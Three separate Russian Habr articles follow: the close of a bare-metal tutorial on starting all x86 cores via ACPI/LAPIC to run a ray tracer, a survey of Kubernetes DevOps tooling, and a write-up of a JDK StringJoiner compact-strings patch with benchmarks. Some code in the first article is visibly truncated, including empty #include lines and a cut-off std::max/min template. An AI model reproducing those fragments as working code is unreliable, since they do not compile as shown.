1. в этот раз будет использоваться С++, даже с шаблонами, поэтому, для избегания ряда ошибок нужно исправить файл **include/string.h**. В нем надо добавить явное приведение типов во всех местах, где преобразуется void\* в char\*. У меня это оказались строки: 42, 53,54,79,80. Везде аналогичное изменение, например, исправленная строка 42 выглядит так:
p = (char \*)addr;
2. Нужно добавить несколько определений для математической библиотеки. К ним относятся несколько глобальных определений переменных, несколько типов, несколько констант и кодов ошибок, которые использует fdlibm. В итоге, добавляем в **include/types.h** следующий код (перед последним #endif в конце файла):
```
typedef unsigned long long u64;
#define FLT_MAX 1E+37
#define DBL_MAX 1E+37
#define LDBL_MAX 1E+37
# ifndef INFINITY
# define INFINITY (__builtin_inff())
# endif
#define NUM 3
#define NAN 2
#define INF 1
#define M_PI 3.14159265358979323846 /* pi */
#define __PI 3.14159265358979323846
#define __SQRT_HALF 0.70710678118654752440
#define __PI_OVER_TWO 1.57079632679489661923132
typedef const union
{
long l[2];
double d;
} udouble;
typedef const union
{
long l;
float f;
} ufloat;
extern double BIGX;
extern double SMALLX;
```
3. добавляем файл **include/errno.h** со следующим кодом:
```
#ifndef _ERRNO_H
#define _ERRNO_H
extern int errno;
#define EDOM -6
#define ERANGE -8
#endif
```
4. теперь, нужно добавить много определений, связанных с аппаратурой, настройкой SMP, ACPI, LAPIC и функций настройки специальных регистров процессора. Для этого создаем файл include/hardware.h, в который добавляем [следующий код](https://github.com/neobit/articles/blob/master/include/hardware.h). В этот раз мы разместили два файла с готовым кодом на github. Это связано с тем, что кода получилось относительно много (~500 строк), поэтому в рамках статьи его писать неудобно. Подчеркиваем, что код снабжен большим количеством комментариев на русском языке, поэтому код на github можно считать продолжением статьи. В самом пункте мы приведем содержание файла:
a. определения структур, использующихся для разбора ACPI таблиц. Этот код сформирован на основе официальной спецификации ACPI. Код содержит только определения для таблиц, необходимых нам (RSDP, RSDT, MADT).
b. далее в файле идет объявление нескольких функций inline содержащих ассемблерные инструкции. По большей части функции очень маленькие, хоть и выглядят громоздкими из-за особенностей использования ассемблера в gcc, где типичная конструкция выглядит так: \_\_asm\_\_ \_\_volatile\_\_ ("<инструкции>": <выходные параметры>: <входные параметры>); Код этих функций по названиям можно найти в интернете в разных местах, как в коде FreeBSD, Linux, так и таких проектов как Bitvisor. Нам же понядобятся следующие функции: rdtsc, \_\_rdmsr, \_\_rdmsrl, \_\_wrmsr, \_\_wrmsrl, \_\_rep\_nop и \_\_cpuid\_count, \_\_get\_cr0, \_\_set\_cr0.
c. особо хочется выделить две функции, которые мы назвали SmpSpinlock\_LOCK и SmpSpinlock\_UNLOCK. Обе функции взяты из [orangetide.com/src/bitvisor-1.3/include/core/spinlock.h](http://orangetide.com/src/bitvisor-1.3/include/core/spinlock.h) и так же написаны на ассемблере. Они представляют собой функции работы с объектом синхронизации для ядер процессора, работающих одновременно. Это простые замки. Суть их работы проста: в качестве замка используется один байт в памяти, который может принимать значение 0 или 1. Если 0 – то замок открыт, а если 1 – то закрыт. Суть функции SmpSpinlock\_LOCK сводится к ожиданию значения 0 в байте замка и установки этого байта в значение 1. Для ожидания используется обычный цикл с примененим инструкции “pause”, которая позволяет оптимизировать работу процессора и снизить его энергопотребление при циклах ожидания. Для чтения и одновременной установки значения 1 в байт памяти используется инструкция “xchg”, которая позволяет атомарным образом выполнить обмен значениями между памятью и регистром. Атомарность означает, что другое ядро процессора не сможет нарушить работу этой инструкции и вклинится в середину ее работы.
d. далее в коде hardware.h содержится описание нескольких констант, связанных с LAPIC. Они взяты из документации Intel.
e. в конце файла объявлена еще одна ассемблерная функция \_\_enable\_fpu, которая осуществляет включение FPU на процессоре. Напомним, что это необходимо для работы с типами float. Функция представляет собой выполнение двух инструкций: “fnclex” и “fninit”, которые необходимы для включения FPU на ядре.
##### Шаг 4. Добавляем код инициализации ядер процессора.
Теперь, можно приступить к созданию файла smp.c, который будет содержать функции для работы с несколькими ядрами процессора. Самая главная часть этого файла: код на ассемблере, который будет выполняться на вновь запущенных ядрах. Код [smp.c так же расположен на github](https://github.com/neobit/articles/blob/master/smp.c) и снабжен большим количеством комментариев с пояснениями; часть кода пришлось собирать из множества источников в интернете, часть пришлось писать самому. Дело в том, что настройка многоядерности – дело специфическое для каждой ОС, поэтому код содержит много того, что нужно именно конкретной ОС. Целью автора статьи было упрощение подобного кода, чтобы можно было продемонстрировать суть происходящего и того минимума действий, которые необходимо совершить для использования SMP. Код smp.c содержит две части:
1. код для поиска и включения каждого AP. Начало всей инициализации происходит с вызовом функции SmpPrepare. Для работы некоторых подфункций требуется соблюдение не большой задержки времени. Правильно эти задержки делать с использованием таймера или CMOS, но для примера используется задержка, основанная на ожидании определенного значения счетчика TSC (счетчик тактов процессора, прошедших с начала его работы). В рамках SmpPrepare выполняются следующие шаги:
* a. проверка наличия LAPIC при помощи CPUID.
* b. получение базового адреса LAPIC через MSR.
* c. получение указателей на две части 64-х битного регистра ICR. Это обычные указатели на определенную область в памяти. Они будут использоваться для отправки IPI.
* d. затем ищется адрес RSDP. По нему определяется адрес таблицы TSDT. В таблице RSDT находится адрес на MADT. Сканируется вся таблица MADT и в ней анализируются все записи относящиеся к Local APIC. Каждая такая запись содержит LAPIC ID и флаг включенности ядра. В итоге собирается массив всех найденных и включенных LAPIC ID, которые есть в системе.
* e. следующий шаг – резервирование памяти пот стек каждого ядра процессора. Стек выделяется по 64Кб и располагается начиная с 5-го мегабайта физической памяти.
* f. затем по физическому адресу 0x6000 копируется ассемблерный код, который инициализирует каждое ядро AP. Про этот код описано далее.
* g. после этого выполняется запуск каждого AP ядра процессора. Для этого каждому ядру последовательно отправляются INIT-SIPI-SIPI сигналы, путем записи определенных байтов в ICR. Этот код взят из (http://fxr.watson.org/fxr/source/i386/i386/mp\_machdep.c ). Для выполнения код используется LAPIC ID полученные ранее и вектор 6, соответствующий адресу 0x6000 по которому располагается на код инициализации.
* h. затем BSP ожидает включения всех ядер процессора, для чего он ожидает момента, когда счетчик включенных ядер сравняется с общим их количеством. Каждое ядро AP увеличивает этот счетчик на 1.
* i. на этом функция завершает свою работу.
2. код, выполняющийся на каждом AP. Этот код начинается с ассемблера. Расположен сразу в начале файла smp.c. У этого ассемблерного кода каждая строка прокомментирована. Если описывать этот ассемблерный код кратко, то он выполняет следующие действия:
* a. сборс нескольких флагов во флаговом регистре, и обнуление базовых регистров для начала работы.
* b. включение в cr0 защищенного режима без страничной адресации.
* c. переход на 32-х битный сегмент кода.
* d. загрузка GDTR и всех сегментов как 32-х битные (код и данные) .
* e. чтение базового адреса LAPIC из MSR.
* f. чтение регистра LAPIC для определения своего ID (для текущего ядра).
* g. получение указателя на стек для текущего ядра. Для каждого ядра заранее резервируется память под его личный стек.
* h. вызов функции на C (SmpApMain).
В функции SmpApMain определяется индекс процессора. Индекс – это его номер от 0 до N – где N-1 – это общее количество ядер на компьютере. Затем синхронно увеличивается счетчик запущенных ядер, который используется для ожидания запуска всех процессоров. Потом ядро процессора переходит в ожидание включения флага запуска полезной нагрузки. Как только флаг включается вызывается функция ap\_cpu\_worker – которая и выполняет полезную нагрузку (Ray-Tracing).
##### Шаг 5. Добавление Алгоритма Ray Tracing.
Самая сложная часть позади. Теперь нужно добавить полезную нагрузку в виде алгоритма Ray Tracing. Сам алгоритм выходит за рамки этой статьи, поэтому теорию и практику можно получить на [этих ресурсах](http://www.scratchapixel.com/lessons/3d-basic-lessons/lesson-1-writing-a-simple-raytracer/, http://www.codermind.com/articles/Raytracer-in-C++-Introduction-What-is-ray-tracing.html) . Код Ray Tracing комментировать не будем. Вместо этого мы возьмем за основу готовый код и расскажем, как его нужно поменять, для того, чтобы он скомпилировался в нашей программе. За основу возьмем код [отсюда](http://www.scratchapixel.com/lessons/3d-basic-lessons/lesson-1-writing-a-simple-raytracer/). В нем надо будет удалить динамическое выделение памяти и STL, заменив все на статический массив. Затем, нужно исправить функцию render так, чтобы она могла рендерить только область картинки по строкам. Последнее, нужно будет реализовать функцию ap\_cpu\_worker, которая вызывает render с определенными параметрами.
1. создать файл **ray.cpp**. В него скопировать [итоговый код](http://www.scratchapixel.com/lessons/3d-basic-lessons/lesson-1-writing-a-simple-raytracer/).
2. заменить в нем строки:
```
#include
#include
#include
#include
#include
#include
#include
```
На строки:
```
extern "C"
{
#include "types.h"
#include "printf.h"
#include "string.h"
#include "hardware.h"
double tan(double x);
double sqrt(double x);
double pow (double x, double y);
extern int vbe_screen_w;
extern int vbe_screen_h;
extern ulong vbe_lfb_addr;
extern ulong vbe_bytes;
extern u32 cpu_count;
extern ulong SmpStartedCpus;
void SmpReleaseAllAps();
}
namespace std
{
template const T& max (const T& a, const T& b) {
return (a const T& min (const T& a, const T& b) {
return !(b
```
3. удалить следующие строки:
```
friend std::ostream & operator << (std::ostream &os, const Vec3 &v)
{
os << "[" << v.x << " " << v.y << " " << v.z << "]";
return os;
}
```
и эти:
```
// Save result to a PPM image (keep these flags if you compile under Windows)
std::ofstream ofs("./untitled.ppm", std::ios::out | std::ios::binary);
ofs << "P6\n" << width << " " << height << "\n255\n";
for (unsigned i = 0; i < width * height; ++i) {
ofs << (unsigned char)(std::min(T(1), image[i].x) * 255) <<
(unsigned char)(std::min(T(1), image[i].y) * 255) <<
(unsigned char)(std::min(T(1), image[i].z) * 255);
```
4. заменить:
```
const std::vector \*> &spheres, const int &depth)
```
На:
```
const Sphere \*\*spheres, unsigned spheres\_size, const int &depth)
```
5. во всем файле **ray.cpp** заменить **spheres.size()**на **spheres\_size** (всего 3 замены).
6. заменить функцию render таким образом:
```
void render(const Sphere \*\*spheres, unsigned spheres\_size, unsigned y\_start, unsigned y\_end)
{
Vec3 pixel;
T invWidth = 1 / T(vbe\_screen\_w), invHeight = 1 / T(vbe\_screen\_h);
T fov = 30, aspectratio = vbe\_screen\_w / T(vbe\_screen\_h);
T angle = tan(M\_PI \* 0.5 \* fov / T(180));
// Trace rays
for (unsigned y = y\_start; y < y\_end; ++y) {
for (unsigned x = 0; x < (unsigned)vbe\_screen\_w; ++x) {
T xx = (2 \* ((x + 0.5) \* invWidth) - 1) \* angle \* aspectratio;
T yy = (1 - 2 \* ((y + 0.5) \* invHeight)) \* angle;
Vec3 raydir(xx, yy, -1);
raydir.normalize();
pixel = trace(Vec3(0), raydir, spheres, spheres\_size, 0);
// Формируем цвет
int color = ((int)(pixel.x \* 255) << 16)
| ((int)(pixel.y \* 255) << 8) | (int)(pixel.z \* 255);
// Рисуем точку на экране
\*(int \*)((char \*)vbe\_lfb\_addr + y \* vbe\_screen\_w \* vbe\_bytes
+ x \* vbe\_bytes + 0) = color & 0xFFFFFF;
}
}
}
```
7. соответственно во всем файле исправить два оставшихся вызова функции trace, добавив еще один параметр spheres\_size:
```
Vec3 reflection = trace(phit + nhit \* bias, refldir, spheres, depth + 1);
```
заменить на:
```
Vec3 reflection = trace(phit + nhit \* bias, refldir, spheres, spheres\_size, depth + 1)
;
```
и это:
```
refraction = trace(phit - nhit * bias, refrdir, spheres, depth + 1)
;
```
на:
```
refraction = trace(phit - nhit * bias, refrdir, spheres, spheres_size, depth + 1)
;
```
8. в конце файла вместо функции main дописываем функцию **ray\_main** и **ap\_cpu\_worker**:
```
#define RAY_SHAPES_COUNT 6
Sphere \*ray\_spheres[RAY\_SHAPES\_COUNT];
extern "C" void ap\_cpu\_worker( int index )
{
\_\_enable\_fpu();
render((const Sphere \*\*)ray\_spheres, 6,
vbe\_screen\_h/cpu\_count \* index,
vbe\_screen\_h/cpu\_count \* index + vbe\_screen\_h/cpu\_count);
forever();
}
extern "C" int ray\_main()
{
Sphere sp1 (Vec3(0, -10004, -20), 10000, Vec3(0.2), 0, 0.0);
Sphere sp2 (Vec3(0, 0, -20), 4, Vec3(1.00, 0.32, 0.36), 1, 0.0);
Sphere sp3 (Vec3(5, -1, -15), 2, Vec3(0.90, 0.76, 0.46), 1, 0.0);
Sphere sp4 (Vec3(5, 0, -25), 3, Vec3(0.65, 0.77, 0.97), 1, 0.0);
Sphere sp5 (Vec3(-5.5, 0, -15), 3, Vec3(0.90, 0.90, 0.90), 1, 0.0);
Sphere sp6 (Vec3(0, 20, -30), 3, Vec3(0), 0, 0, Vec3(3));
ray\_spheres[0] = &sp1
ray\_spheres[1] = &sp2
ray\_spheres[2] = &sp3
ray\_spheres[3] = &sp4
ray\_spheres[4] = &sp5
ray\_spheres[5] = &sp6
SmpReleaseAllAps();
ap\_cpu\_worker(0);
forever ();
return 0;
}
```
##### Шаг 6. Последние доработки и запуск.
Остается только доработать makefile, чтобы все скомпилировалось. Для этого внесем следующие изменения:
1. обновим OBJFILES:
```
OBJFILES = \
loader.o \
common/printf.o \
common/screen.o \
common/bios.o \
common/vbe.o \
common/qdivrem.o \
common/udivdi3.o \
common/umoddi3.o \
common/divdi3.o \
common/moddi3.o \
common/setjmp.o \
common/string.o \
x86emu/x86emu.o \
x86emu/x86emu_util.o \
smp.o \
ray.o \
kernel.o
```
2. добавим цель для компиляции C++:
```
.cpp.o:
$(CC) -Ix86emu -I. -Iustl -Iinclude $(CFLAGS) -o $@ -c $<
```
3. далее нужно изменить строку вызова компановщика для подключения новой библиотеки:
```
$(LD) -T linker.ld -o $@ $^ fdlibm/fdlibm.a
```
4. теперь нужно собрать библиотеку:
```
cd fdlibm
make rebuild
```
5. теперь можно пересобрать проект:
```
make rebuild
sudo make image
```
6. запускаем проект с опцией эмуляции 4-х ядерного процессора, чтобы убедиться, что все работает:
```
sudo qemu-system-i386 -hda hdd.img –smp 4
```
Если все сделано правильно, то мы должны увидеть вот такую красоту:
Как и в предыдущих частях статьи, при помощи команды dd можно скопировать образ hdd.img на флешку и проверить работу программы на реальном компьютере.
В итоге получилась интересная программа, которая использует все ядра современных процессоров. Эта статья открывает возможности по разработке программ, которые заточены под трудоемкие вычисления. Важно отметить, что как и в прежних статьях, операционной системы нет, поэтому все вычисления выполняются с задействованием всех имеющихся аппаратных ресурсов. В программе даже не обрабатываются прерывания – они просто выключены. Поэтому то с какой скоростью все будет рисоваться и будет определять реальные вычислительные возможности вашего процессора. Конечно это все верно, если программа выполняется на голом железе. Наш Intel i5 тратит примерно 800 милисекунд на рисование этой картинки. Будет интересно увидеть в комментариях информацию о скорости, которая у вас получилась на реальном железе.
Ссылки на следующие статьи цикла:
"**Как запустить программу без операционной системы: [часть 5. Обращение к BIOS из ОС](http://habrahabr.ru/company/neobit/blog/211470/#first_unread)**"
"**Как запустить программу без операционной системы: [часть 6. Поддержка работы с дисками с файловой системой FAT](http://habrahabr.ru/company/neobit/blog/203706/#first_unread)**" | https://habr.com/ru/post/181626/ | null | ru | null |
# Инфраструктура для микросервисов. K8s и все-все-все
Как-то я уже писал тут о [переезде из Азии в Европу](https://habr.com/post/370207/), а теперь хочу написать, что я в этой Европе делаю. Есть такая профессия — `DevOps`, точнее нет, но так получилось, что это именно то чем я сейчас занимаюсь. Сейчас для оркестрации всего что бежит в докере мы используем [rancher](http://rancher.com), о чем я тоже уже [писал](https://ideas.ataccama.com/docker-orchestration-and-why-we-need-it-d66bdffad2e). Но вот случилось ужасное, вышел ранчер 2.0 который переехал на kubernetes (дальше просто k8s) и поскольку k8s сейчас действительно стандарт для управления кластером, возникло желание тоже построить всю инфраструктуру заново с блекджеком и библиотекаршами. Что еще добавляет пикантности это то что компания постоянно нанимает разных специалистов из разных стран и с разными традициями и кто-то и собой приносит `puppet`, кому-то милее `ansible`, а кто-то вообще считает что `Makefile + bash` — наше все. Поэтому однозначного мнения как все должно работать просто нет, а очень хочется.
Предварительно был собран такой зоопарк технологий и инструментов:
Управление инфраструктурой
--------------------------
* Minikube
* Rke
* Terraform
* Kops
* Kubespray
* Ansible
Управление приложением
----------------------
* Kubernetes
* Rancher
* Kubectl
* Helm
* Confd
* Kompose
* Jenkins
Логирование и мониторинг
------------------------
* Elasticsearch
* Kibana
* Fluent bit
* Telegraf
* Influxdb
* Zabbix
* Prometheus
* Grafana
* Kapacitor
Дальше попробую коротко описать каждый пункт этого зоопарка, описать зачем оно надо и почему было выбрано именно это решение. На самом деле практически любой пункт можно заменить десятком аналогов и мы до сих пор не до конца уверены в выборе, так что если у кого есть свое мнение или рекомендации, с удовольствием прочитаю в комментариях.
Центром всего будет kubernetes потому что сейчас это действительно решение которому просто нет альтернатив, которое поддерживается всеми провайдерами от амазона и микрософта и до mail.ru. Как альтернативы рассматривались
* `Swarm` — который так и не взлетел
* `Nomad` — который похоже писали чужие для хищников
* `Cattle` — движок от ранчера 1.х, на котором сейчас и живем, в принципе все устраивает, но сам ранчер уже от него отказался в пользу k8s так что развития не будет.
Создание инфраструктуры
-----------------------
Для начала нам надо создать инфраструктуру, и развернуть на нем кластер k8s. Вариантов есть несколько, все они работают и поэтому тяжело выбрать лучший.
[Minikube](https://kubernetes.io/docs/setup/minikube/) — отличный вариант для запуска кластера на на машине разработчика, для тестовых целей.
[Rke](https://github.com/rancher/rke) — Rancher kubernetes engine, прост как дверь минимальный конфиг для создания кластера выглядит
```
nodes:
- address: localhost
role: [controlplane,worker,etcd]
```
И все, этого достаточно чтоб запустить кластер на локальной машине, при этом позволяет создавать production ready HA кластеры, менять конфигурацию, апгрейдить кластер, дампить etcd базу данных и еще много чего.
[Kops](https://github.com/kubernetes/kops) — позволяет не только создавать кластер, но еще и предварительно создавать инстансы в aws или gce. Так же позволяет генерировать конфигурацию для terraform. Интересный инструмент, но у нас пока не прижился. Его вполне заменяют `terraform + rke` при этом проще и гибче.
[Kubespray](https://github.com/kubernetes-incubator/kubespray) — по факту это просто ansible роль, которая создает k8s кластер, чертовски мощная, гибкая, конфигурируемая. Это практически решение по умолчанию для разворачивания k8s.
[Terraform](https://www.terraform.io/) — инструмент для создания инфраструктуры в aws, azure или куче других мест. Гибок, стабилен — рекомендую.
[Ansible](https://www.ansible.com/) — это не совсем про k8s но мы его используем везде и тут тоже: подправить конфиги, установить/обновить софт, раздать сертификаты. Дешево и сердито.
Управление приложением
----------------------
Итак, у нас есть кластер, теперь на нем надо что-то полезное запустить, остался только вопрос как это сделать.
Вариант первый: используем голый k8s все деплоим при помощи `kubectl`. В принципе этот вариант имеет право на жизнь. Kubectl достаточной мощный инструмент который позволяет сделать все что нам надо, включая деплоймент, апгрейд, контролирование текущего состояния, изменение конфигурации на лету, просмотр логов и подключение к конкретным контейнерам. Но иногда хочется чтоб все было немного удобнее, поэтому переходим идем дальше.
### [Rancher](http://rancher.com)
По сути, сейчас rancher это веб морда для управления k8s и заодно много мелких плюшек которые добавляют удобства. Тут и просмотр логов, и доступ в консоль и конфигурирование и апгрейд приложений и управление доступом на основе ролей и встроенный метадата сервер, алармы, перенаправление логов, управление секретами и многое другое. Пользуемся ранчером первой версии уже несколько лет и пока им совершенно довольны, хотя надо признать что при переходе на k8s возникает вопрос, действительно ли он нам нужен. Приятно, что в ранчер можно импортировать любой заранее созданный кластер, причем от любого провайдера то есть в один сервер можно импортировать кластер из EKS из azure и созданный локально и рулить ими из одного места. Более того, если вдруг надоест, то можно просто снести ранчер сервер и продолжить пользоваться кластером напрямую через kubeclt или любой другой инструмент.
Сейчас популярна очень правильная концепция все как код. Например инфраструктура как код, реализована при помощи `terraform`, сборка как код реализована через `jenkins pipeline`. Теперь дошла очередь и до приложения. Инсталляция и конфигурация приложения должна тоже быть описана в каком-нибудь манифесте и сохранена в гите. Rancher версий 1.х использовал стандартный `docker-compose.yml` и все было хорошо, но при переезде на k8s они переключились на `helm charts`. `Helm` — с моей точки зрения, совершенно ужасное поделие со странной логикой и архитектурой. Это один из тех проектов от которого остается ощущение, что его написали хищники для чужих или наоборот. Проблема только в том, что в мире k8s хелму просто нет альтернатив и это де факто — стандарт. Поэтому будем колоться плакать, но продолжать использовать helm. В версии 3.х разработчики обещают переписать его практически с нуля, выбросив из него все странности и упростив архитектуру. Вот тогда-то мы и заживем, а пока будем есть что есть.
Еще надо хотя бы упомянуть здесь `jenkins`, он не относиться напрямую к теме кубернетиса, но именно с его помощью приложения деплоятся в кластер. Он есть, он работает и он тема для отдельной статьи.
Мониторинг
----------
Теперь у нас есть кластер и в нем даже крутиться какое-то приложение, казалось бы — можно выдохнуть, но на самом деле все только начинается. Как стабильно работает наше приложение? Как быстро? Хватает ли ему ресурсов? Что вообще происходит в кластере?
Да следующая тема это мониторинг и логирование. Однозначных ответов тут только три. Хранить логи в `elasticsearch`, смотреть их через `kibana` рисовать графики в `grafana`. На все остальные вопросы есть по десятку правильных ответов.
### [Grafana](https://grafana.com/)
Тут начнем с `grafana` сама по себе она практически ничего не делает, но ее можно пристегнуть как красивую морду к любой из нижеописанных систем и получить красивые и иногда наглядные графики, кроме того тут же можно настроить алармы, но лучше для этого использовать другие решения например `prometheus alertmanager` и `ElastAlert`.
### [fluent-bit](https://fluentbit.io/)
С моей точки зрения на данный момент это лучший агрегатор и роутер логов, кроме того прямо из коробки в нем есть поддержка k8s. Есть еще `Fluentd` но он писан на руби и тянет за собой слишком много легаси кода, что делает его гораздо менее привлекательным. Так что если вам нужен какой-то конкретный модуль из fluentd который еще не портирован в fluent-bit пользуйте его, во всех остальных — бит это лучший выбор. Он быстрее, стабильнее, потребляет меньше памяти. Позволяет собирать логи из всех или из избранных контейнеров, фильтровать их, обогащать добавляя данные специфические для кубернетиса и отправлять это все в elasticsearch или во множество других хранилищ. Если сравнить его с традиционными `logstash + docker-bit + file-bit` это решение однозначно лучше по всем параметрам. Исторически мы все еще используем `logspout + logstash` но fluent-bit однозначно выигрывает.
### [Prometheus](https://prometheus.io/)
Система мониторинга написанная специально для микросервисной архитектуры. Де факто стандарт в индустрии, более того есть еще проект который называется `Prometheus Operator`, писаный специально для k8s. Что выбрать решает каждый сам, но начинать лучше с голого прометеуса, просто для того чтобы понять логику его работы, она достаточно сильно отличается от привычных систем. Еще надо упомянуть `node-exporter` который позволяет собирать метрики уровня машины и prometheus-rancher-exporter который позволяет собирать метрики через rancher api. В общем если у вас есть кластер на kubernetes, то prometheus — must have.
Тут можно было бы и остановиться, но исторически сложилось, что у нас есть еще несколько систем мониторинга. Во первых это `zabbix` очень удобно на одной панели видеть все проблемы всей инфраструктуры. Наличие авто дискавери позволяет на лету находить и добавлять в мониторинг новые сети, ноды, сервисы и вообще практически что угодно, это делает его более чем удобным инструментом для мониторинга динамических инфраструктур. Кроме того в версии 4.0 в заббикс добавили сбор метрик из экспортеров прометеуса и получается, что все это можно очень красиво интегрировать в одну систему. Хотя нет пока однозначного ответа надо ли тащить zabbix в k8s кластер, но попробовать однозначно интересно.
Еще просто как вариант можно использовать `TIG (telegraf + influxdb + grafana)` настраивается просто, работает стабильно, позволяет агрегировать метрики, по контейнерам, приложениям, нодам и прочее, но по сути полностью дублирует функционал prometheus, а "остаться должен только один".
Вот так и получается, что еще не запустив ничего полезного, надо установить и настроить обвязку из пары десятков вспомогательных сервисов и инструментов. При этом в статье не были подняты вопросы управления постоянными данными, секретами и прочими странными вещами каждый из которых может потянуть на отдельную публикацию.
А как вы себе видите идеальную инфраструктуру?
Если есть мнение напишите пожалуйста в комментариях, а может даже присоединяйтесь к нашей команде и помогите собрать это все на месте. | https://habr.com/ru/post/427323/ | null | ru | null |
# Моя попытка номер 5
*А я пропатчил, я пропатчил SJ
Опять, опять, опять…
Ох, как намаялся я с тобой
Моя попытка номер пять.*
Крутилось в голове
Это ~~небольшой~~ большой рассказ о попытке привнести сжатые строки в `StringJoiner`, а также о трудностях, вставших на моём пути. Предупреждение: внутри расчленёнка и кишки, уберите от мониторов детей и впечатлительных лиц.
#### Постановка задачи
Если вы джава-разработчик, то наверняка знаете про сжатые строки ([JEP 254](https://openjdk.java.net/jeps/254)), появившиеся в Java 9. Предельно упрощённо это улучшение описывается так: в старых версиях (до 8 включительно) внутри `java.lang.String` содержимое строки было представлено в виде `char[]`, после — в виде `byte[]`, что позволяет сократить потребеление памяти строками, все знаки которых относятся к ASCII (т. е. для их представления достаточно 1 байта). Более подробно и в доступной форме изложено [здесь](https://www.youtube.com/watch?v=v2XLg4SvCF8). Также изменениям подвергся `java.lang.AbstractStringBuilder`, наследниками которого являются `java.lang.StringBuilder` и `java.lang.StringBuffer`.
А вот с `java.util.StringJoiner`-ом всё иначе. Начиная с [Java 9](https://youtu.be/5Y0Alqb9H_I?t=310) внутри находится массив строк, которые объединяются через разделитель в методе `toString()`:
```
String delimiter = this.delimiter;
char[] chars = new char[this.len + addLen]; // !!!
int k = getChars(this.prefix, chars, 0);
if (size > 0) {
k += getChars(elts[0], chars, k); // расширяем byte[] -> char[]
for(int i = 1; i < size; ++i) {
k += getChars(delimiter, chars, k);
k += getChars(elts[i], chars, k);
}
}
k += getChars(this.suffix, chars, k);
return new String(chars); // сжимаем char[] -> byte[]
```
Если склеиваемые строки содержат знаки, не входящие в ASCII (знак представлен 2 байтами), то данная реализация понятна. Но что происходит в обратном случае? Происходит очень неприятная вещь: сначала `byte[]` из сжатой строки раздувается до `char[]` (при чём старший байт всегда 0), а потом в конструкторе строки происходит обратный процесс: старший байт усекается. Всё это стОит. Попробуем исправить положение.
#### Первая кровь
Итак, вскрываем `StringJoiner` (JDK 14, малоинтересные подробности опущены):
```
public final class StringJoiner {
private final String prefix;
private final String delimiter;
private final String suffix;
/** Contains all the string components added so far. */
private String[] elts;
/** The number of string components added so far. */
private int size;
/** Total length in chars so far, excluding prefix and suffix. */
private int len;
// ...
public StringJoiner(CharSequence delimiter,
CharSequence prefix,
CharSequence suffix) {
// ...
this.prefix = prefix.toString();
this.delimiter = delimiter.toString();
this.suffix = suffix.toString();
}
// ...
public StringJoiner add(CharSequence newElement) {
final String elt = String.valueOf(newElement);
if (elts == null) {
elts = new String[8];
} else {
if (size == elts.length)
elts = Arrays.copyOf(elts, 2 * size);
len += delimiter.length();
}
len += elt.length();
elts[size++] = elt;
return this;
}
// ...
}
```
Здесь мы видим шестерёнки крупным планом: строки складываются в массив, их общая длина записывается в поле `len`, а общее количество строк — в поле `size`. Эти поля используются в методе `toString()` для однократного выделения памяти. Нам нужно как-то определять состояние, в котором все добавленые строки относятся к основной латинице. Тогда исполнение можно разделить на 2 ветки: существующую (использующую `char[]`) и "сжатую" (использующую `byte[]`) Решение в лоб: завести флаг `allLatin1` и по его значению разграничивать логику:
```
public final class StringJoiner {
private boolean allLatin1;
public StringJoiner(CharSequence delimiter,
CharSequence prefix,
CharSequence suffix) {
// ...
this.allLatin1 = this.prefix.isLatin1() && this.delimiter.isLatin1() && this.suffix.isLatin1();
}
public StringJoiner add(CharSequence newElement) {
final String elt = String.valueOf(newElement);
//...
this.allLatin1 &= elt.isLatin1();
return this;
}
}
```
Да, вот так просто :). Теперь метод `toString()`:
```
@Override
public String toString() {
final String[] elts = this.elts;
if (elts == null && emptyValue != null) {
return emptyValue;
}
final int size = this.size;
final int addLen = prefix.length() + suffix.length();
if (addLen == 0) {
compactElts();
return size == 0 ? "" : elts[0];
}
if (allLatin1) {
return bytesToString(elts, size, addLen);
}
return charsToString(elts, size, addLen);
}
```
Прежняя реализация уехала в `charsToString()`, а её незаконнорождённым братом-близнецом стал `bytesToString()`, всё отличие которого заключается в использование `byte[]`:
```
private String bytesToString(String[] elts, int size, int addLen) {
final byte[] bytes = new byte[len + addLen];
int k = getBytes(prefix, bytes, 0);
if (size > 0) {
final String delimiter = this.delimiter;
k += getBytes(elts[0], bytes, k);
for (int i = 1; i < size; i++) {
k += getBytes(delimiter, bytes, k);
k += getBytes(elts[i], bytes, k);
}
}
getBytes(suffix, bytes, k);
return new String(bytes);
}
@SuppressWarnings("deprecation")
private static int getBytes(String s, byte[] bytes, int start) {
int len = s.length();
s.getBytes(0, len, bytes, start);
return len;
}
```
Данное решения — тупое повторение методов с заменой `char[]` на `byte[]` и одно логическое поле. Правда, есть проблема:
```
// JDK 14
public final class String {
boolean isLatin1() {
return COMPACT_STRINGS && coder == LATIN1;
}
}
```
Внезапно оказываеццо, что `StringJoiner` живёт в `java.util`, а метод `String.isLatin1()` видим только внутри пакета `java.lang`. Стоит отметить — так было не всегда:
```
// JDK 11
public final class String {
private boolean isLatin1() { // private !
return COMPACT_STRINGS && coder == LATIN1;
}
}
```
Однажды встав на эту дорожку и расширив область видимости метода, почему бы не сделать это ещё раз?
```
public final class String {
public boolean isLatin1() { // а х*ли?
return COMPACT_STRINGS && coder == LATIN1;
}
}
```
Тем более, что метод никак не меняет состояние объекта, для которого он вызван. Так родился первый патч, отправленый [вместе с сопроводительным письмом и бенчмарками](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064580.html) в core-libs-dev (ссылка на сам патч в конце письма).
**Чё там с производительностью?**Для измерений использовался самопальный бенчмарк ([тело](https://github.com/stsypanov/strings/blob/master/src/jmh/java/tsypanov/strings/join/StringJoinerBenchmark.java), [утилитный класс](https://github.com/stsypanov/strings/blob/master/src/main/java/tsypanov/strings/source/string/Joiner.java)), который на моей машине дал следующие результаты для параметра latin = true (все складываемые строки являются latin1, проседание отмечено восклицательным знаком):
```
count length Original Patched Units
sj 1 1 26.7 ± 1.3 38.2 ± 1.1 ns/op !
sj 1 5 27.4 ± 0.0 40.5 ± 2.2 ns/op !
sj 1 10 29.6 ± 1.9 38.4 ± 1.9 ns/op !
sj 1 100 61.1 ± 6.9 47.6 ± 0.6 ns/op
sj 5 1 91.1 ± 6.7 83.6 ± 2.0 ns/op
sj 5 5 96.1 ± 10.7 85.6 ± 1.1 ns/op
sj 5 10 105.5 ± 14.3 84.7 ± 1.1 ns/op
sj 5 100 266.6 ± 30.1 139.6 ± 14.0 ns/op
sj 10 1 190.7 ± 23.0 162.0 ± 2.9 ns/op
sj 10 5 200.0 ± 16.9 167.5 ± 11.0 ns/op
sj 10 10 216.4 ± 12.4 164.8 ± 1.7 ns/op
sj 10 100 545.3 ± 49.7 282.2 ± 12.0 ns/op
